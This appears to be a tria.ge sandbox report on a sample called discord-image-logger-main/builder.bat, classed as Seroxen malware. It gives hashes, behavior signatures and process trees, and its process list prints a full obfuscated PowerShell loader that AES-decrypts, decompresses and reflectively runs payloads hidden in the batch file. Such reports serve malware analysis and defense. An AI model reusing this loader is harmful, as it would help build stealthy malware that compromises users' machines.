Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
10discord-im...er.bat
windows7-x64
10discord-im...er.bat
windows10-2004-x64
10discord-im...bug.py
windows7-x64
3discord-im...bug.py
windows10-2004-x64
3discord-im...ers.py
windows7-x64
3discord-im...ers.py
windows10-2004-x64
3discord-im...ken.py
windows7-x64
3discord-im...ken.py
windows10-2004-x64
3discord-im...ion.py
windows7-x64
3discord-im...ion.py
windows10-2004-x64
3discord-im...tup.py
windows7-x64
3discord-im...tup.py
windows10-2004-x64
3discord-im...nfo.py
windows7-x64
3discord-im...nfo.py
windows10-2004-x64
3discord-im...fig.py
windows7-x64
3discord-im...fig.py
windows10-2004-x64
3discord-im...ain.py
windows7-x64
3discord-im...ain.py
windows10-2004-x64
3Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
19/03/2025, 22:07
Behavioral task
behavioral1
Sample
discord-image-logger-main/builder.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
discord-image-logger-main/builder.bat
Resource
win10v2004-20250314-en
Behavioral task
behavioral3
Sample
discord-image-logger-main/src/components/antidebug.py
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
discord-image-logger-main/src/components/antidebug.py
Resource
win10v2004-20250314-en
Behavioral task
behavioral5
Sample
discord-image-logger-main/src/components/browsers.py
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
discord-image-logger-main/src/components/browsers.py
Resource
win10v2004-20250314-en
Behavioral task
behavioral7
Sample
discord-image-logger-main/src/components/discordtoken.py
Resource
win7-20241010-en
Behavioral task
behavioral8
Sample
discord-image-logger-main/src/components/discordtoken.py
Resource
win10v2004-20250313-en
Behavioral task
behavioral9
Sample
discord-image-logger-main/src/components/injection.py
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
discord-image-logger-main/src/components/injection.py
Resource
win10v2004-20250314-en
Behavioral task
behavioral11
Sample
discord-image-logger-main/src/components/startup.py
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
discord-image-logger-main/src/components/startup.py
Resource
win10v2004-20250314-en
Behavioral task
behavioral13
Sample
discord-image-logger-main/src/components/systeminfo.py
Resource
win7-20241023-en
Behavioral task
behavioral14
Sample
discord-image-logger-main/src/components/systeminfo.py
Resource
win10v2004-20250314-en
Behavioral task
behavioral15
Sample
discord-image-logger-main/src/config.py
Resource
win7-20241010-en
Behavioral task
behavioral16
Sample
discord-image-logger-main/src/config.py
Resource
win10v2004-20250314-en
Behavioral task
behavioral17
Sample
discord-image-logger-main/src/main.py
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
discord-image-logger-main/src/main.py
Resource
win10v2004-20250314-en
General
-
Target
discord-image-logger-main/builder.bat
-
Size
14.9MB
-
MD5
70a53c5ec35eefae927a0c413a89937a
-
SHA1
1bc9a22903968bfc05b87c1082a5c4242802d4dd
-
SHA256
a7aa6fa77e4931544a6966ef435400c52a79af300a548aca4e9c67f72218ac2d
-
SHA512
c712f2b98b0eb8c4808e4abcee0cc6100fc3e7d445f40208da0429b754148f190083ce247f183bb112083c15b06f466cbe573fe01f47de3d7958d8624e8d9aae
-
SSDEEP
49152:QYwuS617ST7nN2d57VTqUTm0AmK0jEHD5FQ/9gsyuEgPXiGncZwPnzLO1WtJHFi7:S
Malware Config
Signatures
-
Seroxen family
-
Executes dropped EXE 1 IoCs
pid Process 3040 builder.bat.exe -
Loads dropped DLL 1 IoCs
pid Process 2100 cmd.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3040 builder.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3040 builder.bat.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2100 wrote to memory of 2528 2100 cmd.exe 31 PID 2100 wrote to memory of 2528 2100 cmd.exe 31 PID 2100 wrote to memory of 2528 2100 cmd.exe 31 PID 2528 wrote to memory of 2144 2528 net.exe 32 PID 2528 wrote to memory of 2144 2528 net.exe 32 PID 2528 wrote to memory of 2144 2528 net.exe 32 PID 2100 wrote to memory of 3040 2100 cmd.exe 34 PID 2100 wrote to memory of 3040 2100 cmd.exe 34 PID 2100 wrote to memory of 3040 2100 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2144
-
-
-
C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VsYFF($UqIEP){ $cckBt=[System.Security.Cryptography.Aes]::Create(); $cckBt.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cckBt.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cckBt.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UEGY9MIPrGN+l8HMK+EOWWOHd3i8s5ddQy0gjFJszf0='); $cckBt.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIU6Lrw5kmXrlY9ZdCP5WQ=='); $twFeA=$cckBt.CreateDecryptor(); $return_var=$twFeA.TransformFinalBlock($UqIEP, 0, $UqIEP.Length); $twFeA.Dispose(); $cckBt.Dispose(); $return_var;}function onOdy($UqIEP){ $DcweI=New-Object System.IO.MemoryStream(,$UqIEP); $sUfkw=New-Object System.IO.MemoryStream; $rNOwy=New-Object System.IO.Compression.GZipStream($DcweI, [IO.Compression.CompressionMode]::Decompress); $rNOwy.CopyTo($sUfkw); $rNOwy.Dispose(); $DcweI.Dispose(); $sUfkw.Dispose(); $sUfkw.ToArray();}function spGXl($UqIEP,$ZvarV){ $UbgZg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UqIEP); $oUCsb=$UbgZg.EntryPoint; $oUCsb.Invoke($null, $ZvarV);}$WAkYi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat').Split([Environment]::NewLine);foreach ($kjXpr in $WAkYi) { if ($kjXpr.StartsWith(':: ')) { $vbeRz=$kjXpr.Substring(4); break; }}$IzdcO=[string[]]$vbeRz.Split('\');$clAux=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[0])));$WNxAq=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[1])));spGXl $WNxAq (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));spGXl $clAux (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3040
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d